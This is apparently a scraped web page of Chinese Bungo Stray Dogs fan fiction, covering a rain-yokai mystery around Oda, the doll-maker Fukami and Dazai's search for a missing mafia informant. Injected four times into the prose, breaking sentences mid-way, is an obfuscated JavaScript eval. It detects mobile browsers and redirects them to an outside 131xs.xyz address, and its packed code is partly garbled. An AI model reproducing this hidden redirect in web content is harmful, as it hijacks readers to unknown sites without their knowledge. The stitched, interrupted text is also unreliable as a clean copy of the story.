;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706458|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “但是,也不是完全没有意义的吧。”织田作之助突然开口,打断了他愈发远去的思绪,“那天如果不是你递给我一把伞,我恐怕要淋湿了。” “所以——如果可以知道下雨的原因,就能提前做好准备吧,这样对人类的生活来说,不是有很大的改善吗?” “……科学和传说,都是人类解释世界的手段,过于执着观察事物身上萦绕的‘因果’,反而会让视线脱离现实的领域,现实的失落……”深见说到一半便停了下来,或许是意识到自己晦涩的理论没有任何意义吧。 他笑了笑,重新恢复那副笑盈盈的模样:“算啦,织田先生的话……请您忘记我的胡言乱语吧。” “好吧。不过你知道这场雨什么时候会停吗?”织田作之助问,“一直这样下的话,出行会很不方便,而且空气太潮湿了,对人也不好。” “这样啊,我想想……应该要下一段时间吧。”深见抬头,深蓝色的眼睛越过镜片凝视着窗外斜斜的雨幕,“大概要十……不,七天吧,就会停下了。” “一周啊……” 深见点点头,轿车内又重新恢复了安静的氛围,橙色的小轿车在灰蒙蒙的雨天悄然驶过街道,停靠在一幢洋房的门口。 “到了。” 雨势逐渐减小,此刻已经快要停住了,深见和织田作之助索性没有打伞,开始一起将行李往楼上搬。 上到二楼的时候织田作之助发现东侧的走廊似乎有声音传来,不由得停下脚步,他身后的深见也跟着停下,越过他朝里面看去。 二楼的走廊哪怕在雨天也显得十分昏暗,严密贴合在一起的窗帘阻止了本来应该良好的采光,依稀只能看见一个模糊的人影,似乎是一位身形高大的男人。 “是野野宫先生吗?”深见突然开口,“这位是新来的织田先生,住在三楼西边的房间。” 随后又对织田作之助介绍道:“这位是野野宫先生,已经在这里住了很多年了,性格比较内向。” 织田作之助点点头,听到走廊深处传来一道低沉的、混杂在一起、有些不甚清晰的声音:“这样……是你隔壁的那一间吗?” “是的,已经收拾好了,今天准备入住。” “这样、这样……”男人的成因含混不清,“外面下雨了吗?” “嗯,下着呢,断断续续的,从昨天一直持续到了现在。”深见回答,“野野宫先生要注意保暖,房间如果有渗水我会喊人来修的。” “嗯、嗯……你们从外面来的?” “是呢。” “有看见……”野野宫的话说到一半停了下来,随后他的语调发生了变化,以一种在织田作之助听来十分怪异的语调询问道,“有看见、一个站在桥边的女人吗?” 他的声音像一种扭曲的爬虫,明明是正常的发音,语调却抑扬顿挫,配合时大时小的音量,让人听起来十分不舒服。 “这个没有注意呢,出什么事了吗?”深见仿佛没有察觉到这其中的怪异,如常地回答野野宫的问题。 “没事……没什么,如果你们见到——”他的声音又出现了微妙的停顿,以及重复。 “如果你们见到——小心她。” “那是——雨女啊。” 5. 形骸馆05 说完那句意味不明的话后,二楼的房客不发一言地转身进入房间,房门闭合时发出清脆的落锁声,把拒绝交流表现得淋漓尽致。 织田作之助和深见面面相觑,不清楚这位野野宫先生到底在讲些什么。 “这位野野宫先生……” “唔,是有点孤僻,不过可能和他的职业有关吧。”深见想了想解释道,“他之前是一所大学的民俗学教授,专注研究妖怪一类的民俗故事,可能有些,怎么说呢,走火入魔了吧。” “刚刚他说的应该是名为雨女的妖怪,织田先生听说过吗?”深见问道。 织田作之助想了想,“好像是个会在雨天出现的妖怪,撑着一把伞,据说会杀死和她同撑一把伞的男人?” “大体是这样的。” “但是这和桥没有关系吧?” “应该是弄混了吧。”深见回答,“站在桥边的应该是桥姬才对,传闻中是无法和爱人长相厮守而跳河自杀的女人所化,会把路过桥边的男子引入水中溺死。但是她的出现和雨本身没有关系。” “所以野野宫先生说的那个‘雨女’,是桥姬和雨女的结合体?”织田作之助问,“真的有那种妖怪吗?” 深见噗嗤一声笑了,“织田先生,正常人都应该问‘真的有妖怪吗’才对吧?” “啊……”织田作之助尴尬了挠了挠脸。 但是深见并没有介意他这奇怪的问题,反倒一本正经地回答起来:“要问有没有这种妖怪,首先要搞清楚一件事——妖怪是怎么来的。” “就拿‘雨女’来说,鸟山石燕在百鬼夜行图画中将它描绘成一个长舌尖爪,湿发披肩、模样怪异的女人,而在旁边的注释中,鸟山石燕提到雨女的传说可能来自于中国巫山神女的故事,相传神女朝为云、暮为雨,于是傍晚、女人、雨结合在一起,就构成了雨女的形象。” “当然关于雨女的原型故事也有很多,有人说雨女是在雨天丢失孩子的女人,会在雨中将哭泣的婴儿偷走;也有人说雨女是在雨中撑伞的女人,若邀她同用一把伞,此后终身便会生活在潮湿的环境中,最后不堪湿气而死;当然,也有人会单纯地把一出门就下雨的女人戏称为雨女。” 深见洋洋洒洒讲了一堆,织田作之助一面听一面不知不觉和他来到了四楼,深见打开门,将钥匙交给他。 “重要的不是‘真的有这种妖怪吗’,而是‘对方是怎样的存在’,顺序是非常重要的。”深见一锤定音地道,“先有的这样的‘存在’,才有的这样的‘妖怪’,所谓妖怪的名字,不过是人为加上的便于理解的称谓罢了,就像——” 深见想了想,不知道他想起了什么,语气变得轻快亲昵起来,带着笑意看着织田作之助道:“就像给人起的昵称一样呢。” “这样啊。”织田作之助点点头,“深见好像对这些很了解?” “我是做人偶的嘛,也算是民俗技艺的一种,有时候也要根据当地的一些传说做特定的人偶,多了解些算是职业要求吧。”深见回答。 织田作之助听他这么说,突然心生好奇,“那么,真的有妖怪存在吗?” “哪一种?”深见反问道,“如果您是问因为失去孩子而精神失常,在雨夜偷走别人家孩子的女人,那么‘妖怪’确实是存在的。” 深见的声音有些落寞:“织田先生应该见过的吧,杀手也好,黑手党也罢,这种扭曲的职业里应该有许多‘异常’的人类。被人怀疑,被人恐惧,被人敬畏,最终因为不被人理解而被冠以‘妖怪’的名号。” “名字是躯壳,□□是躯壳,成为妖怪的家伙,究竟是因为是妖怪而怪异,还是因为怪异而成为妖怪?” 织田作之助不知道该如何应答,不论是作为杀手还是作为黑手党成员,他的生活都简单、单纯到令人无法想象的程度。深见所说的妖怪、怪异一类的东西,对他而言就像一个奇幻故事一样缥缈不定。 但显然,对于对方而言,这并非仅仅只是一个奇异的传说。织田作之助看着再一次陷入迷茫、目光涣散的少年,他那一头丝绸般的长发柔顺的披在身后,发丝的缝隙间,露出被宝蓝色和服映衬的愈发白皙的脖颈。 他的姿态向来娴静、优雅,举手投足风度翩翩,言谈举止温和有礼,单是站在那里,伸长脖颈翘首以望的模样,就会让人心生怜惜。 就像妖怪一样。织田作之助心里突然冒出这样的念头。 但等不及细想,深见就打断了他的思考,“总之,织田先生如果在生活中遇到‘妖怪’这样的东西,也不必担心,以平常心对待即可。” “在横滨这种大城市,还是十分安全的,您不必担忧那些非人类的作祟……当然,在港口这边果然还是黑手党最危险了吧。” 深见笑着,有几分开玩笑地和他讲话。织田作之助被他这副轻松的样子影响,心情也变得轻快、放松起来。 “说的没错。”他回答。 织田作之助的行李并不多,他们搬了两趟就把东西全部放进房间里,织田作之助专心地收拾日用品,深见在旁边观摩他的储备枪支。 “虽说不再杀人了,但是织田先生还是继续带着枪呢。”深见仔细地观察着,“型号虽然不算十分先进,但是性能相当不错,也有好好保养……织田先生很喜欢这把枪吗?” “嗯,以防万一。”织田作之助点点头,“不过为了安全我已经全部换成橡胶子弹了,不会出人命的。” “这样,很贴心呢。” 深见说完便安静下来,见织田作之助忙前忙后收拾东西,也跟着帮忙打扫了一下卫生。等他们收拾好全部的东西,织田作之助这才发现外面已经天黑了。 “好累——”深见坐在沙发上拉伸了一下胳膊,为了方便收拾东西,他用系带把和服的衣袖挽了上去,此刻正好露出白皙纤细的小臂。 织田作之助想了想,提出请深见吃饭感谢他的帮助,然而他话音刚落,就被一通电话喊去工作。 “真不巧呢。”深见轻笑着安慰他,“没关系啦,我随便吃点就好,家里有食材,也很方便的。而且我也要准备工作了,之前初来乍到一直都在忙房租的事情,现在正好腾出手来了。” “工作……人偶吗?” 深见点点头:“嗯,哪怕没有委托也要经常制作一些作品来保持手感,还要注意研究新工艺和新技术。现代工业发展的太快了,很多材料更新迭代的很快,要不断实验新材料才行。” 他提到:“前段时间因为一些原因我一直没有灵感,做了很多半成品,但是都不太满意,心情也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706459|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很不好,希望这次能做出令人稍微满意些的作品吧。啊,织田先生要记得吃饭,今天累了一天了。” “我会记得的,那祝你好运。”织田作之助了然,与他告别,披上黑色的风衣,匆匆奔赴指定的工作地点。 他下楼的时候雨已经暂时停住了,但织田作之助还是随手带上一把黑色的雨伞,潮湿的雨水将柏油马路浇的漆黑,仿佛夜色一般浓郁,行走在上面还能感受到沙石粗糙的摩擦感。 织田作之助最后看了一眼这幢精致的洋房公馆,白色的巴洛克式建筑优雅又浪漫,被高大的香樟树簇拥着,安静地坐落在居民区里,宛如掩面轻笑的贵族小姐,静谧又安详。 在前往工作地点的路上,织田作之助记得深见的嘱咐买了一份便携的饭团和关东煮,浓郁的热汤沿着食道流入胃中,缓解了四肢在湿冷夜晚的僵硬状态,让他感觉舒适不少。 事实证明他是对的,因为今晚的工作格外不顺——倒不是织田作之助的工作出了岔子,作为底层人员的他们只是在又一场火拼后被派去打扫战场,没什么难度的工作,只是后半夜上司突然接到仓库遭到不明人士袭击的消息,于是又马不停蹄地带着他们前往港口仓库支援。 他们在仓库区待到了凌晨,主要任务是封锁现场,排查周围的环境和人员,虽然不是什么有难度的工作,但是琐碎的事务叠加在一起,也够让人疲倦的。 织田作之助和同事一直忙到天亮,期间他依靠敏锐的直觉找了个不易察觉的角落,和同事把仅剩的饭团分掉垫了垫肚子,作为回报,同事在排班轮值时主动接了第一班,让织田作之助有幸成为第一批回家休息的幸运儿。 织田作之助感谢了同事,和其他人一起离开了港口,他这次只有6小时的休息时间,结束之后还要继续回来值班封锁现场,据说直到这次袭击事件被解决才能结束。 看样子最近都没有办法请深见吃饭了。织田作之助一面在心里感到可惜,一面给深见发信息解释自己最近要加班,吃饭不得不延后的事情。 他在清晨沿着河道从港口向里走,越过地标大厦和空中缆车后,河道逐渐变得狭窄,两岸的居酒屋大门紧闭,已然打烊休息。就在他又一次路过一座小桥时,织田作之助突然停下了脚步。 一个女人在街道无人的清晨寂寥地站在桥上。 隔着清晨的雾气,织田作之助看不太清楚她的面容,只能看见一个黑色的身影,垂落在身后随风摇曳的长发,以及撑在她头顶的亮红色的雨伞。 那颜色在寡淡的清晨是如此的惹眼,像夺目的朝阳,又像诡谲的落日,鲜艳的、明亮的红色在这个阴雨连绵的春日夺人眼球,让人难以转动目光。 那一瞬间织田作之助想到了很多事,他想到了野野宫含糊的言辞、深见奇异的理论、街市井巷各色的流言,以及腋下枪套里两把手枪中储存的橡胶子弹。 但是最终——不知是因为这鲜艳的红伞过于夺目,还是清晨的街道过于冷清,织田作之助什么都没有做。他只是注视着、安静地注视着: 他见那撑红伞的女人微微抬起伞面,长发的发尾在空中划过一道美丽的弧线,她向天空伸长脖颈,翘首以盼,微微张口,不知是在倾诉,还是在歌唱。 然后瞬间的,大雨从天而降。 6. 宇多源美代01 灵感枯竭的第七天,一群穿着黑西装、气势汹汹的男人闯进了我的房间。 他们自称是本地的黑手党,前来拷问我与邻居离奇失踪事件的关系。 我的双手被绑在身后,粗糙的绳子磨得手腕生疼,但我不是很在意这个,因为…… “三天?”我奇怪地看着他们,“但是她七天前就死掉了啊。” 没错,七天前,我的邻居死在了自己的家中。脖子被人割断,双眼瞪得老大。鲜血从她的喉咙里淌出来,汩汩、汩汩,如同无数只青蛙在大雨中聒噪地乱叫。 那一天,我的灵感正好枯竭。 ——《未来公馆档案簿》 横滨,接连不断的降雨让这座钢铁铸就的现代化城市陷入压抑的沉默中。作为地标性建筑的五栋大楼中,一名身披黑色大衣的少年如幽灵一般穿梭在走廊的阴影中。 这里是横滨地下龙头组织之一——港口黑手党的总部,而这位一身漆黑,缠着绷带,眼睛冰冷的令人毛骨悚然的“先生”,正是新上任的首领森鸥外的得力部下兼学生——太宰治。 “首领,太宰治到了。” 看门的守卫向内通报了一声,悄无声息地为他拉开厚重的防弹大门。一片漆黑的阴影在他眼前展露,门后的世界犹如一只张着血盆大口的野兽,正安静地等待猎物自投罗网。 太宰治静静地看了一会,鸢色的眸子受到黑暗的影响似乎变得深了一些,他注意到守卫逐渐变得紧张的呼吸,但他没有在意。 无聊的生活,无聊的人生。太宰治忍不住发散思绪,森先生这次喊他来又有什么事呢?不知道,但是左右不过是些重复性的工作——收拢人心、打击同行、摄取利益,黑手党的工作在最初确实充满不同寻常的刺激,但随着时间的堆叠,这些刺激也逐渐再难触动他的神经。 太宰治开始后悔当初加入港口黑手党的决定了,原以为处在与日常相反的视角会有不一样的见闻,没想到世俗的同化力度如此之大,就连黑手党也免不了沦为庸人。 “太宰先生,首领在里面等您。” 守卫恭谨的声音带回太宰治的意识,他瞥了一眼指关节开始打颤的守卫,没有说话,只身走了进去,单薄的背影被那片令人恐惧的黑暗淹没。 大门合上之后,太宰治的眼睛已经适应了黑暗的环境,但是心情仍旧不算美妙。 “森先生,港口黑手党已经沦落到无法供应首领室用电的地步了吗?”太宰治神情恹恹地开口,“啊……如果快要破产的话,我是不是应该提前做好准备?” “这只是必要的节约,太宰君,”港口黑手党的首领,森鸥外坐在天鹅绒椅子上,双手交叉胳膊撑在桌子上,“部下正在拼命为组织奋斗,港口黑手党的一分一毫都是成员用鲜血和生命换来的,身为首领的我又怎能浪费部下的生命呢?” “原来如此,不愧是森先生,居然能如此正义凛然地说出这般感人肺腑的言论。”太宰治敬佩地看着森鸥外,“如果是我的话恐怕还未开口就已经羞愧地快要死掉了吧。” “怎么会,太宰君能言善道在港口黑手党可是出了名的,许多人都很佩服你呢。” 太宰治才不信他的鬼话,结束了这段无聊的试探:“那么首领叫我来是干什么?是因为我在上周报废了三辆轿车浪费了七卷绷带,所以打算为部下的生命向我讨回公道了?” “当然不是,我一向是个严于律己,宽以待人的首领。”森鸥外露出温和的笑容,太宰治却被这幅伪善的模样恶心的不轻,“这次喊你来是因为情报部的事情。” “情报部?那不是红叶姐的地盘吗,还有她搞不定的事?”太宰治难得来了兴趣。 “先看看吧。”森鸥外递给他一叠文件。 太宰治拆开档案袋,开始翻阅文件。薄薄的一叠纸,记录的是名为宇多源美代的情报人员的档案。 宇多源美代,女,32岁。 22岁加入港口黑手党,任一般职员,25岁自请进入情报部,成为底层情报人员,27岁升职为第七情报小组组长,管理三个街区的人员情报,手下有线人11人。 虽然在港口黑手党工作了数年,却只混了个小组长的职位,不显眼也不突出,工作平平无奇,没接过什么重要任务,哪怕是个人档案也只有薄薄的几张。 “特别的情报人员?”太宰治饶有趣味地开口,“工作十年才混上小组长,看似平庸的简历,但是结合她的任务频率和完成度来看……肯定有一大部分没有被记录在案吧。” 人员情报,这三个街区都不是什么人员混杂的地方,哪有什么人员需要关注?太宰治腹诽道,区域内的建筑大多是写字楼和商场……原来如此,说是负责人员流动,恐怕真正的工作比起监控,更应该是—— “间谍?” 恐怕连组织里的这个名字都是假的吧。 森鸥外颔首默认:“宇多源小姐是个十分敏锐的人,主要负责横滨商会和政府人员的情报处理,目前她手上刚刚得到一份十分重要的政府内部情报,这份情报本应该在昨天交到红叶殿那里,但是……” “宇多源美代小姐失去了联络,情报部收到的有关她的最后的信息,是3月6日确认情报到手的报告。” 太宰治猛地抬起头,目光幽幽地盯着森鸥外:“现在已经11号了吧?最新情报还是五天前的?森先生,你在跟我开玩笑吗?” 森鸥外神情不变:“为防止引起各方注意,宇多源美代会将特殊情报混在日常情报中一起提交给情报部,原本的提交时间是10号——也就是昨天上午,但是一直到中午都没有情报传来,我们的人尝试去联系她,也没有回应。” 失踪案…… “红叶姐怎么说?这是她的部下吧,加班的事我可不干哦。”太宰治无所谓地弹了弹手里的情报。 “红叶殿亲自探查了宇多源美代的落脚点,只发现了日常情报。”森鸥外顿了顿,“没有我们需要的‘那一份’,也没有我们需要的宇多源美代。” 老套的手法,太宰治心想,他对这种一眼就能猜到结果的套路情节毫无兴趣,除了叛逃和被害想不出第三种情况,与其费劲做些无聊的重复性工作,还不如尝试几种新鲜的自杀方法有趣。 说起来之前有听到过在鹤见川的桥上投水的话会遇见桥姬的传闻,要不要去试试?不管是投水还是被妖怪杀死听起来都是不错的选择,但是最近一直下雨,河水里有一股难闻的雨水味,入水一定会被缠上吧,才不要带着这种黏糊糊的恶心味道…… “太宰,你的意思呢?” 森鸥外的声音将太宰治从美好的幻想乡中拉回来,像是不满被人打破幻想一般,少年表情阴沉,鸢色的眼睛里盛满了不加掩饰的厌烦与恶意,在这间漆黑阴暗、散发着洗不去的血腥味的首领室内,显得愈发诡谲、飘忽不定。 “可以。”半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706460|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晌,太宰治终于开口,“但是这一次我绝对不要和小矮子搭班。” 森鸥外点点头,大方极了:“放心吧,这次中也有别的工作。” “还有,这次工作后我要休假,我已经半个月没有休息了,森先生,压榨未成年是要遭天谴的。” “可以哦,只要你能给带回那份文件。” “那份文件这么重要吗?”太宰治眼睛闪了闪,忽然来了兴趣。 “不可以打开哦,太宰。”森鸥外隐隐警告道,他坐直了身体,那张很容易便能露出或可怜或仁慈的表情来蛊惑他人的脸终于放弃了伪装,露出内在冷酷残忍的本质。 “唯独这个,绝对不可以打开。”森鸥外笃定地盯着他的眼睛。 太宰治与他对视半晌,移开了目光,妥协道;“好吧,反正我对这种事情也没兴趣啦。” “那这个我就带走咯。”他摇了摇手中的文件,向森鸥外告别。 一直到少年漆黑的身影消失在看不见的走廊里,首领室厚重的防弹大门缓缓合上,房间内重新恢复死一般压抑的沉默,森欧外才重重吐了口气,毫无形象地瘫在那张价值百万的桌子上。 “好可怕哦,爱丽丝,刚刚我差点以为要被太宰君干掉了呢。” “笨蛋,林太郎也太没用了!”身着红色洋装的金发小女孩从角落里走出来,双手掐腰,恨其不争地看着没用的大人。 “拿出点大人的样子,你可是首领呢!” “我也想嘛,但是太宰君最近愈发让人捉摸不透了啊,明明去年还很可爱的学生……” “噫,好恶心。”女孩露出鄙夷的神情。 “怎么这样!我对男孩子没有兴趣,爱丽丝你听我解释!我对爱丽丝明明一心一意……呜哇哇哇,爱丽丝!淑女是不可以露出那种猥琐大叔的表情!爱丽丝!” 首领室内,港口黑手党新任首领没形象的大呼小叫被防弹门窗尽数拦下,与多年来被鲜血浸泡的潮湿空气一起隔离在阴暗的室内。 摩天大楼下,太宰治突然抬头,连日阴雨的天气让横滨上空堆积着厚厚的乌云,往日高耸入云的黑手党大楼,如今却像潜伏的野兽,静静等待着吞噬一切的时机。 他安静地盯着楼顶某处的房间,不知道在想什么,凝重的气氛让为他撑伞的部下不堪重负地弯下了腰。 “把伞举高点,我可不是小矮子,还是说你连撑伞这种小事都做不到?”少年凉薄的声音比黑手党的大楼更加切实可怕,“港口黑手党不需要没用的家伙,你明白的吧?” “是……” 无聊的反应。千篇一律的家伙。 他看着手里的档案,借着整理头发的动作随手关掉耳内的隐形耳机,喃喃自语道:“涉及到首领的,能够动摇港口黑手党的政府文件,这可真是块诱人的蛋糕。” 饵料……要上钩吗? 什么重要的东西,真的会被当做诱饵? 试探,亦或者是……阳谋。 无聊的把戏。 世上永远不会有超出预料之物。 “太宰先生,车备好了。” 太宰治看了一眼打断他思考的人,在他身上,那属于黑手党成员的千篇一律的恐惧与揣测,如同附骨之疽一般顽固,像恶魔变幻的阴影嘲弄着他过于敏锐的头脑。 这个世界上,不会有任何超出预料之物。 他低垂着眼眸,不发一言地上了车。 7. 宇多源美代02 宇多源美代在横滨的落脚点一共有三个,第一个是港口黑手党的员工宿舍,里面除了一些换洗衣物和准备上交的日常文件,没什么特别的东西,比起宿舍更像是第二个办公室。 第二处落脚点是一所安全屋,位于某个混乱的街区,里面只存放着必要的压缩食物和医疗用品,以及一部分武器,根据门锁上的灰尘,可以轻易判断出来这里已经很久没有启用过了。 第三处是宇多源美代负责街区的一间公寓,位于某栋商场楼上,同楼层有一家纹身工作室和一家和服造型馆,过道狭窄,栏杆生锈。 公寓内人员杂乱,倒是个浑水摸鱼的好地方。事实也是如此,太宰治在公寓的冰箱内发现了两天分量的速食简餐和一盒开封的香草冰激凌,门口的鞋架上摆着三双旧鞋子,上面挂着两件薄外套,看样子是宇多源美代生活的地方。 她平日里就是住在这样的环境里吗?太宰治趁着部下搜查线索,漫无目的地打量着这间充满“烟火气息”的公寓。 便利的位置,复杂的邻里环境,简洁的装修,用心搭配的家具——虽然颜色相近,但还是能够明显看出来不是一套的风格。 木质的床头柜上摆着几本时装杂志,还有人气偶像的光碟,一小瓶开口的利口酒被喝了一半,旁边放着一个插着盛开的洋甘菊的玻璃花瓶。 洛可可风格的玻璃花瓶,雕刻着精致的浮雕,配上花瓣洁白柔软的洋甘菊,让人心旷神怡,不由放松下来。 太宰治上前捻了捻花瓣,心中一晒,果然是假花。 他站在房间的中央,环顾四周,狭小嘈杂却处处温馨的单身女性的公寓,有着与黑手党格格不入的普通人的幸福,甜美得像一个永远不可能成真的美梦。 然而,本该令人感到温馨、放松、安全的环境,如今只让太宰治感到一阵恶寒的不适。 虚伪又做作,就像这束假花一样。 宇多源美代确实是个情报界的好手,太宰治心想。不仅熟谙狡兔三窟,还擅长弄虚作假,如此精心布置的公寓,不管是谁来了都会下意识认为这就是宇多源美代“真正”的住所吧。 但是很可惜,这次的糖衣里包裹的却是毒药,这里能够找到的线索,想必也是被宇多源美代精心设计好的、令人满意的、不出意料的情报。 “别找了,这里不是真正的住所。”太宰治开口打断了忙碌的手下。 房间里的黑手党一齐停下手中的动作,他们不知道这位阴晴不定的上司是如何得出结论的,更不知道他说的是否就是对的。太宰治向来不喜欢解释,因此总给人留下神秘叵测、心思诡谲的印象,但好在专业的黑手党擅长服从命令,尤其是跟在太宰治身边的人。 他们畏惧那些流传在内部的血腥的传闻,和这个年仅十六岁的少年周身令人不寒而栗的气势,兢兢业业地服从着命令。 太宰治看着穿着标准黑西装,转过身直立看向他的黑手党成员,不知是否是受到两天前自杀时服下的未知药物的影响,世界在他眼中变得扭曲错乱,部下的面部轮廓开始变得模糊,逐渐统一成千篇一律的面孔,就连神态也是一模一样的僵硬且麻木。 狭窄逼仄的空间里,温馨的房间宛如精心设计的陷阱。撕开伪装,里面尽是腐烂发臭的炼狱,就连部下也被影响变成了统一的制式人偶,僵硬地扭转脖颈,以非人的目光打量评估着这个房间里唯一的“活人”。 人偶,一排一排的人偶,整齐地挂在墙上、堆在地上、埋在土里。 与人类一样的面庞,一样的动作,一样的眼神。 非人的造物……人类的造物……类人的造物。 “确实如此,不愧是首领的学生。”一道女声打破了房间里凝固的气氛。 太宰治恍然回神,只觉得头晕目眩,恶心的感觉一股一股地上涌,让他的脸色显得愈发阴沉。 一位身着女士和服,手撑阳伞的女人身姿款款地走来,她挥了挥手,示意房间里的人退下,待房间里只剩下太宰治一人,她才不疾不徐地走进稍显空落的房间。 来人正是港口黑手党的干部,情报部的负责人,宇多源美代的直属上司——尾崎红叶。 她看了一眼太宰治,无奈地收起伞:“收收你那副表情吧,内部有关你的流言已经够多的了,再把人吓坏就真的没人愿意在你手底下干活了。” “是我把他们吓到了?”太宰治用平静地语气说着疑问句,让人猜不透他的心思。 尾崎红叶不愿与他多纠缠,事实上他从第一次见到跟在森鸥外身后的这个少年时,就意识到对方不是个乖巧听话的类型,后来的两年时间里,太宰治也用各种令人头皮发麻的计策,和完美的任务报告证明了她的初印象。 直到现在,尾崎红叶都不敢保证自己能搞明白太宰治的脑袋里一天到晚到底在想什么,更何况这位万众瞩目的首领学生最近一年里变得愈发阴郁刻薄、空洞冷漠。 不过——得知宇多源美代的事情被交给他来调查,尾崎红叶确实是松了一口气,毕竟太宰治的业务能力还是有目共睹的。 想到这里,她走到旁边的餐桌旁坐下,沏了两杯茶水:“美代是很聪明的人,虽然在□□总是习惯沉默,但是对干我们这一行的人来说,不动声色才是真理,就这一意义上来看,美代确实是才能出众。” 太宰治不置可否,靠着柜子缓解眩晕带来的虚弱,“既然部下都能如此优秀,那么身为情报部的主管,红叶姐一定知道她真正的落脚点吧?” “我也不知道哦。” 太宰治一怔,随即反应过来,诧异地看着从容不迫的尾崎红叶:“你和她有私交?” “美代加入组织已经有十年了,当年我因为异能力被先代看中、带进组织时,宇多源美代正是我的负责人。” 尾崎红叶轻飘飘地砸下一个重磅炸弹,说起往事,这位手染鲜血的异能力者眼中也不免多了几分怀念。 “只不过很快我就因为异能力被调往行动部,美代倒是一如既往在情报部做着不轻不重的工作,因为工作不算重要,加上先代有意笼络我,所以我还时不时能和她见上几面。” “后来……我和当时的情报部主管陷入热恋,美代是第一个发现此事的人,但是她谁也没说,她甚至没什么反应。” 尾崎红叶回忆着那时名为宇多源美代的女人的神态。那年她还是个什么都不太懂的小女孩,虽然早已杀人如麻,却依旧保持着少女的天真与希翼。 但是宇多源美代却已经历尽沧桑。她不像尾崎红叶一般有着夺目的红发和张扬的异能,她只是个会用黑皮筋把头发扎在脑后,带着笨重的黑框眼镜,穿着洗的领口变形的毛衣的不善言辞的保守女人。 任谁也不会在意,任谁也不会警惕,任谁也不会怀疑。 就这样平静地、普通地、了无生趣地度过一生。 宇多源美代的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706461|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默让尾崎红叶忐忑不安,她那一瞬间脑子里想过很多东西,多到连现在的自己都不能完全回忆起来,直到她听见宇多源美代的声音。 “红叶,你……想要离开吗?” 怀春的少女难以置信地睁大了眼睛。 太宰治饶有趣味地听着尾崎红叶向他讲述当年隐秘的故事,“所以红叶姐当年的出逃是这位美代小姐一手策划的?组织里如此卧虎藏龙,老首领居然一概不知,果然人上了年纪头脑就会不中用啊。” 尾崎红叶看了他一眼,默认了他的猜测。 “红叶姐希望我怎么处理这件事?”太宰治突然说,“森先生的意思肯定是想要那份文件的,但是您这么主动送情报,肯定是希望我做些额外的工作吧。” 尾崎红叶端起茶抿了一口,缓缓开口道:“宇多源美代是个无欲无求的人,我相信她不会背叛。” “是不会背叛还是不会不通知你就背叛?”太宰治言语犀利。 “有什么区别吗?”尾崎红叶反问道。 太宰治唔了一声,耸了耸肩,无所谓地道:“猜测而已,别紧张嘛,我是无所谓啦,但是红叶姐还记得黑手党的准则吧?托人办事一定要备好礼物才对。” “那你想要什么?”尾崎红叶淡然地抿了一口茶水,“你真的有想要的东西吗?太宰治。” 太宰治的脸色变得微妙起来,他像吃到了咸口巧克力一样,处于一种想要吐出来却发现巧克力已经被咽进肚子里的状态。 最终他放弃了强撑的状态,像一只猫一样靠着柜子慢慢滑下来,坐在地上,呈现出几分虚弱的状态,“红叶姐太讨厌了,哪有这样托人办事的。” 尾崎红叶有些惊奇地看着他:“你是在撒娇吗?” 太宰治哼哼着不回答,整个人被宽大的黑风衣笼罩,从远处看去好像一个黑色的毛团。 “哪怕身处黑暗,我们这种人也依旧有向往光明的本能,或许你会觉得妾身这话颇为愚蠢——那也没办法,谁让妾身没有你和森先生那样的好脑子呢。”尾崎红叶慢悠悠地说。 “我告诉你一个秘密吧,太宰。别人都以为我是因为爱情心生希翼,才会像飞蛾扑火一样拼死也要离开黑手党的束缚,但是只有我知道,事情不是那样的。” 尾崎红叶的目光流露出怀念的怅惘,“那个时刻,对我来说最无法理解的既不是爱情的滋养,也不是希望的浇灌,而是得知我想要离开时,宇多源美代身上流露出来的那种奇怪的感觉。” “红叶,逃走吧。” “红叶,我来帮你吧。” 尾崎红叶用平淡的仿佛捧读一样的语气念出当年宇多源美代对她说的话。 